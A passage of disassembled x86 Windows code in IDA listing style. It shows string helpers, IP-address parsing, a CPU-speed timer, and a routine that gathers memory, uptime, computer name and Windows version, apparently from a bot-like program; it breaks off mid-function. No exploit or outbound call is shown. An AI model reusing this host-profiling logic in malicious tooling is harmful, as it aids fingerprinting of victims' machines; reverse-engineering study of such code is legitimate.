		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4059EC
		cmp	ecx, 1
		jz	short loc_4059E9

loc_4059D9:				; CODE XREF: sub_4059C2+25j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_4059EC
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_4059D9

loc_4059E9:				; CODE XREF: sub_4059C2+15j
		mov	byte ptr [edi],	0

loc_4059EC:				; CODE XREF: sub_4059C2+10j
					; sub_4059C2+1Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4059C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059F0	proc near		; CODE XREF: sub_406EA9+17p
					; sub_406F84+1Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]

loc_4059F4:				; CODE XREF: sub_4059F0+15j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_405A0A
		cmp	cl, 30h
		jl	short loc_405A07
		cmp	byte ptr [eax],	39h
		jg	short loc_405A07
		inc	eax
		jmp	short loc_4059F4
; ---------------------------------------------------------------------------

loc_405A07:				; CODE XREF: sub_4059F0+Dj
					; sub_4059F0+12j
		xor	al, al
		retn
; ---------------------------------------------------------------------------

loc_405A0A:				; CODE XREF: sub_4059F0+8j
		mov	al, 1
		retn
sub_4059F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A0D	proc near		; CODE XREF: sub_401000+9Cp
					; sub_40FDB3+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_4114BE	; strlen
		mov	ebx, [ebp+arg_4]
		and	[ebp+arg_8], 0
		sub	ebx, eax
		pop	ecx
		mov	[ebp+var_4], eax
		js	short loc_405A65
		mov	esi, [ebp+arg_0]

loc_405A2F:				; CODE XREF: sub_405A0D+56j
		mov	al, [esi]
		mov	cl, [edi]
		cmp	al, cl
		jz	short loc_405A4B
		movsx	edx, al
		movsx	eax, cl
		lea	ecx, [eax+20h]
		cmp	edx, ecx
		jz	short loc_405A4B
		add	eax, 0FFFFFFE0h
		cmp	edx, eax
		jnz	short loc_405A5C

loc_405A4B:				; CODE XREF: sub_405A0D+28j
					; sub_405A0D+35j
		push	[ebp+var_4]
		push	edi
		push	esi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405A6C

loc_405A5C:				; CODE XREF: sub_405A0D+3Cj
		inc	[ebp+arg_8]
		inc	esi
		cmp	[ebp+arg_8], ebx
		jle	short loc_405A2F

loc_405A65:				; CODE XREF: sub_405A0D+1Dj
		xor	eax, eax

loc_405A67:				; CODE XREF: sub_405A0D+67j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A6C:				; CODE XREF: sub_405A0D+4Dj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		add	eax, ecx
		jmp	short loc_405A67
sub_405A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A76	proc near		; CODE XREF: sub_40765C+CCp
					; sub_40A407+Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		mov	cl, [esi]

loc_405A7F:				; CODE XREF: sub_405A76+1Cj
		test	cl, cl
		jz	short loc_405A94
		cmp	cl, 0Dh
		jz	short loc_405A98
		cmp	cl, 0Ah
		jz	short loc_405A98
		mov	cl, [eax+esi+1]
		inc	eax
		jmp	short loc_405A7F
; ---------------------------------------------------------------------------

loc_405A94:				; CODE XREF: sub_405A76+Bj
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_405A98:				; CODE XREF: sub_405A76+10j
					; sub_405A76+15j
		push	edi
		xor	ecx, ecx
		lea	edi, [eax+esi]

loc_405A9E:				; CODE XREF: sub_405A76+3Aj
		mov	dl, [edi+ecx]
		cmp	dl, 0Dh
		jz	short loc_405AAB
		cmp	dl, 0Ah
		jnz	short loc_405AB2

loc_405AAB:				; CODE XREF: sub_405A76+2Ej
		and	byte ptr [edi+ecx], 0
		inc	ecx
		jmp	short loc_405A9E
; ---------------------------------------------------------------------------

loc_405AB2:				; CODE XREF: sub_405A76+33j
		add	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		retn
sub_405A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AB9	proc near		; CODE XREF: sub_40DBD7+4Ep
					; sub_40DBD7+C6p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_405AD5

loc_405AC4:				; CODE XREF: sub_405AB9+17j
		mov	cl, [eax]
		test	cl, cl
		jz	short locret_405AD5
		cmp	cl, 20h
		jz	short loc_405AD2
		inc	eax
		jmp	short loc_405AC4
; ---------------------------------------------------------------------------

loc_405AD2:				; CODE XREF: sub_405AB9+14j
		and	byte ptr [eax],	0

locret_405AD5:				; CODE XREF: sub_405AB9+9j
					; sub_405AB9+Fj
		retn
sub_405AB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AD6	proc near		; CODE XREF: sub_405FF3+21Fp
					; sub_408E1A+62p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		xor	eax, eax
		mov	esi, ecx

loc_405AE4:				; CODE XREF: sub_405AD6+2Aj
		mov	dl, [esi]
		cmp	dl, 20h
		jnz	short loc_405AF4
		test	edi, edi
		jnz	short loc_405AFF
		push	1
		pop	edi
		jmp	short loc_405AF6
; ---------------------------------------------------------------------------

loc_405AF4:				; CODE XREF: sub_405AD6+13j
		xor	edi, edi

loc_405AF6:				; CODE XREF: sub_405AD6+1Cj
		mov	[eax+ecx], dl
		inc	eax
		cmp	byte ptr [esi],	0
		jz	short loc_405B02

loc_405AFF:				; CODE XREF: sub_405AD6+17j
		inc	esi
		jmp	short loc_405AE4
; ---------------------------------------------------------------------------

loc_405B02:				; CODE XREF: sub_405AD6+27j
		cmp	[esp+8+arg_8], 0
		pop	edi
		pop	esi
		jz	short locret_405B1A

loc_405B0B:				; CODE XREF: sub_405AD6+42j
		test	eax, eax
		jz	short locret_405B1A
		and	byte ptr [eax+ecx], 0
		dec	eax
		cmp	byte ptr [eax+ecx], 20h
		jz	short loc_405B0B

locret_405B1A:				; CODE XREF: sub_405AD6+33j
					; sub_405AD6+37j
		retn
sub_405AD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B1B	proc near		; CODE XREF: sub_405B5B+41p
					; sub_405B5B+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		xor	eax, eax
		mov	ebx, edi
		mov	esi, ecx
		sub	ebx, ecx

loc_405B2E:				; CODE XREF: sub_405B1B+26j
		mov	dl, [esi]
		cmp	dl, 2Eh
		jz	short loc_405B49
		test	dl, dl
		jz	short loc_405B53
		mov	[ebx+esi], dl
		inc	eax
		inc	esi
		cmp	eax, 4
		jl	short loc_405B2E
		xor	eax, eax

loc_405B45:				; CODE XREF: sub_405B1B+36j
					; sub_405B1B+3Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_405B49:				; CODE XREF: sub_405B1B+18j
		and	byte ptr [eax+edi], 0
		lea	eax, [eax+ecx+1]
		jmp	short loc_405B45
; ---------------------------------------------------------------------------

loc_405B53:				; CODE XREF: sub_405B1B+1Cj
		and	byte ptr [eax+edi], 0
		add	eax, ecx
		jmp	short loc_405B45
sub_405B1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B5B	proc near		; CODE XREF: sub_405C9C+19p
					; sub_405C9C+38p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	2Eh
		push	esi
		call	sub_4058D7
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jg	short loc_405B96
		mov	ecx, [ebp+arg_10]
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		mov	[ecx], bl
		mov	ecx, [ebp+arg_C]
		sub	eax, ebx
		mov	[ecx], bl
		mov	ecx, [ebp+arg_4]
		mov	[edi], bl
		mov	[ecx], bl
		jz	short loc_405BC9
		dec	eax
		jz	short loc_405BB8
		dec	eax
		jz	short loc_405BA9
		dec	eax
		jz	short loc_405B9A

loc_405B96:				; CODE XREF: sub_405B5B+16j
					; sub_405B5B+4Cj ...
		xor	eax, eax
		jmp	short loc_405BDA
; ---------------------------------------------------------------------------

loc_405B9A:				; CODE XREF: sub_405B5B+39j
		push	esi
		push	ecx
		call	sub_405B1B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_405B96

loc_405BA9:				; CODE XREF: sub_405B5B+36j
		push	esi
		push	edi
		call	sub_405B1B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_405B96

loc_405BB8:				; CODE XREF: sub_405B5B+33j
		push	esi
		push	[ebp+arg_C]
		call	sub_405B1B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_405B96

loc_405BC9:				; CODE XREF: sub_405B5B+30j
		push	esi
		push	[ebp+arg_10]
		call	sub_405B1B
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax

loc_405BDA:				; CODE XREF: sub_405B5B+3Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_405B5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BDF	proc near		; CODE XREF: sub_405C9C+81p
					; sub_405C9C+97p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	dl, [eax]
		cmp	dl, 72h
		jnz	short loc_405C13
		cmp	byte ptr [eax+1], 0
		jnz	short loc_405C13
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		jmp	loc_405C97
; ---------------------------------------------------------------------------

loc_405C13:				; CODE XREF: sub_405BDF+Bj
					; sub_405BDF+11j
		cmp	dl, 73h
		jz	short loc_405C1D
		cmp	dl, 69h
		jnz	short loc_405C7C

loc_405C1D:				; CODE XREF: sub_405BDF+37j
		cmp	byte ptr [eax+1], 0
		jnz	short loc_405C7C
		mov	ecx, [ebp+arg_0]
		mov	al, [ecx]
		test	al, al
		jz	short loc_405C5F
		cmp	[ebp+arg_10], 0
		jz	short loc_405C58
		push	ebx
		push	ecx
		call	sub_41151C	; atoi
		mov	ebx, eax
		push	0Ah
		push	[ebp+arg_C]
		inc	bl
		movzx	eax, bl
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 10h
		xor	eax, eax
		test	bl, bl
		setz	al
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_405C58:				; CODE XREF: sub_405BDF+51j
		test	al, al
		jz	short loc_405C5F
		push	ecx
		jmp	short loc_405C6E
; ---------------------------------------------------------------------------

loc_405C5F:				; CODE XREF: sub_405BDF+4Bj
					; sub_405BDF+7Bj
		cmp	dl, 69h
		jnz	short loc_405C6B
		push	offset dword_413F58
		jmp	short loc_405C6E
; ---------------------------------------------------------------------------

loc_405C6B:				; CODE XREF: sub_405BDF+83j
		push	[ebp+arg_8]

loc_405C6E:				; CODE XREF: sub_405BDF+7Ej
					; sub_405BDF+8Aj
		push	[ebp+arg_C]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_405C7C:				; CODE XREF: sub_405BDF+3Cj
					; sub_405BDF+42j
		test	dl, dl
		jnz	short loc_405C87
		mov	eax, [ebp+arg_0]
		cmp	[eax], dl
		jz	short loc_405C8A

loc_405C87:				; CODE XREF: sub_405BDF+9Fj
		push	eax
		jmp	short loc_405C8D
; ---------------------------------------------------------------------------

loc_405C8A:				; CODE XREF: sub_405BDF+A6j
		push	[ebp+arg_8]

loc_405C8D:				; CODE XREF: sub_405BDF+A9j
		push	[ebp+arg_C]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_405C97:				; CODE XREF: sub_405BDF+2Fj
		mov	eax, [ebp+arg_10]
		pop	ebp
		retn
sub_405BDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C9C	proc near		; CODE XREF: sub_40EE23+137p
					; sub_40EE23+2F4p

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_0]
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405D07
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_4]
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405D07
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_41A2E8
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405D07
		cmp	byte ptr [ebp+arg_0], 0
		jnz	short loc_405D0B

loc_405D07:				; CODE XREF: sub_405C9C+23j
					; sub_405C9C+42j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405D0B:				; CODE XREF: sub_405C9C+69j
		lea	eax, [ebp+var_30]
		push	1
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_405BDF
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_405BDF
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_405BDF
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_405BDF
		add	esp, 50h
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset dword_413F5C
		push	[ebp+arg_8]
		call	sub_4114DC	; sprintf
		add	esp, 18h
		push	1
		pop	eax
		leave
		retn
sub_405C9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D8C	proc near		; CODE XREF: sub_40EE23+E6p

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jz	short loc_405DD2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_41A2E8
		call	sub_405B5B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_405DD6

loc_405DD2:				; CODE XREF: sub_405D8C+23j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405DD6:				; CODE XREF: sub_405D8C+44j
		cmp	[ebp+var_10], 0
		jnz	short loc_405DEB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_405DEB:				; CODE XREF: sub_405D8C+4Ej
		cmp	[ebp+var_C], 0
		jnz	short loc_405E00
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_405E00:				; CODE XREF: sub_405D8C+63j
		cmp	[ebp+var_8], 0
		jnz	short loc_405E15
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_405E15:				; CODE XREF: sub_405D8C+78j
		cmp	[ebp+var_4], 0
		jnz	short loc_405E2A
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_405E2A:				; CODE XREF: sub_405D8C+8Dj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_413F5C
		push	[ebp+arg_0]
		call	sub_4114DC	; sprintf
		add	esp, 18h
		push	1
		pop	eax
		leave
		retn
sub_405D8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E4F	proc near		; CODE XREF: sub_4058EE+41p
					; sub_4058EE+75p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_405E5E
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax

loc_405E5E:				; CODE XREF: sub_405E4F+8j
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax]
		mov	edi, [ebp+arg_4]
		mov	al, [ecx]
		test	al, al
		jz	short loc_405E92
		mov	bl, [edi]

loc_405E71:				; CODE XREF: sub_405E4F+41j
		test	bl, bl
		mov	esi, edi
		jz	short loc_405E85
		mov	dl, bl

loc_405E79:				; CODE XREF: sub_405E4F+34j
		cmp	dl, al
		jz	short loc_405E85
		mov	dl, [esi+1]
		inc	esi
		test	dl, dl
		jnz	short loc_405E79

loc_405E85:				; CODE XREF: sub_405E4F+26j
					; sub_405E4F+2Cj
		cmp	byte ptr [esi],	0
		jz	short loc_405E92
		mov	al, [ecx+1]
		inc	ecx
		test	al, al
		jnz	short loc_405E71

loc_405E92:				; CODE XREF: sub_405E4F+1Ej
					; sub_405E4F+39j
		cmp	byte ptr [ecx],	0
		mov	edx, ecx
		mov	esi, edi
		jz	short loc_405EB5

loc_405E9B:				; CODE XREF: sub_405E4F+5Ej
		mov	al, [edx]
		cmp	al, [esi]
		jz	short loc_405EB1
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_405EAA
		mov	esi, edi
		inc	edx

loc_405EAA:				; CODE XREF: sub_405E4F+56j
		cmp	byte ptr [edx],	0
		jnz	short loc_405E9B
		jmp	short loc_405EB5
; ---------------------------------------------------------------------------

loc_405EB1:				; CODE XREF: sub_405E4F+50j
		and	byte ptr [edx],	0
		inc	edx

loc_405EB5:				; CODE XREF: sub_405E4F+4Aj
					; sub_405E4F+60j
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	[eax], edx
		mov	eax, ecx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		pop	ebp
		retn
sub_405E4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EC9	proc near		; CODE XREF: sub_405ECC:loc_405ED6p
					; sub_405ECC+1Ep
		rdtsc
		retn
sub_405EC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405ECC	proc near		; CODE XREF: sub_405FF3+271p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi

loc_405ED6:				; CODE XREF: sub_405ECC+42j
					; sub_405ECC+4Cj
		call	sub_405EC9
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	dword_4120A4	; Sleep
		call	sub_405EC9
		sub	eax, edi
		push	esi
		sbb	edx, ebx
		push	186A0h
		push	edx
		push	eax
		call	sub_411610
		push	esi
		push	0Ah
		push	edx
		push	eax
		call	sub_411610
		cmp	edx, esi
		mov	edi, eax
		ja	short loc_405ED6
		jb	short loc_405F1A
		cmp	edi, 0F4240h
		ja	short loc_405ED6

loc_405F1A:				; CODE XREF: sub_405ECC+44j
		push	esi
		push	64h
		push	edx
		push	edi
		call	sub_411590
		push	64h
		mov	ecx, eax
		cmp	edx, esi
		pop	eax
		mov	[ebp+var_4], esi
		ja	short loc_405F91
		jb	short loc_405F37
		cmp	ecx, 50h
		jnb	short loc_405F3D

loc_405F37:				; CODE XREF: sub_405ECC+64j
		push	4Bh
		mov	[ebp+var_4], esi
		pop	eax

loc_405F3D:				; CODE XREF: sub_405ECC+69j
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F48
		cmp	ecx, 47h
		jnb	short loc_405F4E

loc_405F48:				; CODE XREF: sub_405ECC+75j
		push	42h
		mov	[ebp+var_4], esi
		pop	eax

loc_405F4E:				; CODE XREF: sub_405ECC+7Aj
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F59
		cmp	ecx, 37h
		jnb	short loc_405F5F

loc_405F59:				; CODE XREF: sub_405ECC+86j
		push	32h
		mov	[ebp+var_4], esi
		pop	eax

loc_405F5F:				; CODE XREF: sub_405ECC+8Bj
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F6A
		cmp	ecx, 26h
		jnb	short loc_405F70

loc_405F6A:				; CODE XREF: sub_405ECC+97j
		push	21h
		mov	[ebp+var_4], esi
		pop	eax

loc_405F70:				; CODE XREF: sub_405ECC+9Cj
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F7B
		cmp	ecx, 1Eh
		jnb	short loc_405F81

loc_405F7B:				; CODE XREF: sub_405ECC+A8j
		push	19h
		mov	[ebp+var_4], esi
		pop	eax

loc_405F81:				; CODE XREF: sub_405ECC+ADj
		cmp	edx, esi
		ja	short loc_405F91
		jb	short loc_405F8C
		cmp	ecx, 0Ah
		jnb	short loc_405F91

loc_405F8C:				; CODE XREF: sub_405ECC+B9j
		xor	eax, eax
		mov	[ebp+var_4], esi

loc_405F91:				; CODE XREF: sub_405ECC+62j
					; sub_405ECC+73j ...
		sub	eax, ecx
		add	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405ECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F9A	proc near		; CODE XREF: sub_409277+15Ap
					; sub_409918+2AFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, dword_412038
		push	1Fh
		push	esi
		push	7
		push	400h
		call	edi	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		mov	byte ptr [esi+3], 0
		neg	eax
		mov	[ebp+arg_0], eax
		jz	short loc_405FD9
		push	offset off_414108
		push	esi
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405FD9
		push	1
		pop	eax
		jmp	short loc_405FEF
; ---------------------------------------------------------------------------

loc_405FD9:				; CODE XREF: sub_405F9A+27j
					; sub_405F9A+38j
		push	1Fh
		push	esi
		push	7
		push	800h
		call	edi	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		and	byte ptr [esi+3], 0

loc_405FEF:				; CODE XREF: sub_405F9A+3Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_405F9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FF3	proc near		; DATA XREF: sub_4062CF+29o

var_72C		= byte ptr -72Ch
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_105		= byte ptr -105h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_50		= byte ptr -50h
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 72Ch
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		lea	eax, [ebp+var_70]
		push	eax
		call	dword_41207C	; GlobalMemoryStatus
		mov	eax, [ebp+var_68]
		lea	esi, [eax+100000h]
		mov	eax, [ebp+var_64]
		add	eax, 100000h
		shr	eax, 14h
		shr	esi, 14h
		mov	[ebp+var_24], eax
		call	sub_406AB7
		mov	ecx, 15180h
		xor	edx, edx
		mov	ebx, ecx
		mov	edi, eax
		div	ebx
		xor	edx, edx
		push	3Ch
		mov	[ebp+var_8], 15h
		mov	[ebp+var_C], 10h
		mov	[ebp+var_18], eax
		mov	eax, edi
		div	ecx
		mov	ecx, 0E10h
		mov	ebx, ecx
		mov	edi, edx
		xor	edx, edx
		mov	eax, edi
		div	ebx
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	eax, edi
		div	ecx
		pop	ecx
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	dword_412018
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_412030	; GetComputerNameA
		push	24h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_100]
		mov	[ebp+var_104], 94h
		rep stosd
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_412034	; GetVersionExA
		cmp	[ebp+var_100], 4
		mov	edi, offset a?	; "?"
		mov	[ebp+var_1C], offset aNoSp ; "no SP"
		jnz	short loc_40612B
		cmp	[ebp+var_FC], 0
		jnz	short loc_40610B
		cmp	[ebp+var_F4], 1
		jnz	short loc_4060FB
		mov	edi, offset a95	; "95"

loc_4060FB:				; CODE XREF: sub_405FF3+101j
		cmp	[ebp+var_F4], 2
		jnz	short loc_40617D
		mov	edi, offset aNt	; "NT"
		jmp	short loc_40616B
; ---------------------------------------------------------------------------

loc_40610B:				; CODE XREF: sub_405FF3+F8j
		cmp	[ebp+var_FC], 0Ah
		jnz	short loc_40611B
		mov	edi, offset a98	; "98"
		jmp	short loc_406162
; ---------------------------------------------------------------------------

loc_40611B:				; CODE XREF: sub_405FF3+11Fj
		cmp	[ebp+var_FC], 5Ah
		jnz	short loc_406162
		mov	edi, offset aMe	; "ME"
		jmp	short loc_406162
; ---------------------------------------------------------------------------

loc_40612B:				; CODE XREF: sub_405FF3+EFj
		cmp	[ebp+var_100], 5
		jnz	short loc_406162
		cmp	[ebp+var_FC], 0
		jnz	short loc_406144
		mov	edi, offset a2000 ; "2000"
		jmp	short loc_406162
; ---------------------------------------------------------------------------

loc_406144:				; CODE XREF: sub_405FF3+148j
		cmp	[ebp+var_FC], 1
		jnz	short loc_406154
		mov	edi, offset aXp	; "XP"
		jmp	short loc_406162
; ---------------------------------------------------------------------------

loc_406154:				; CODE XREF: sub_405FF3+158j
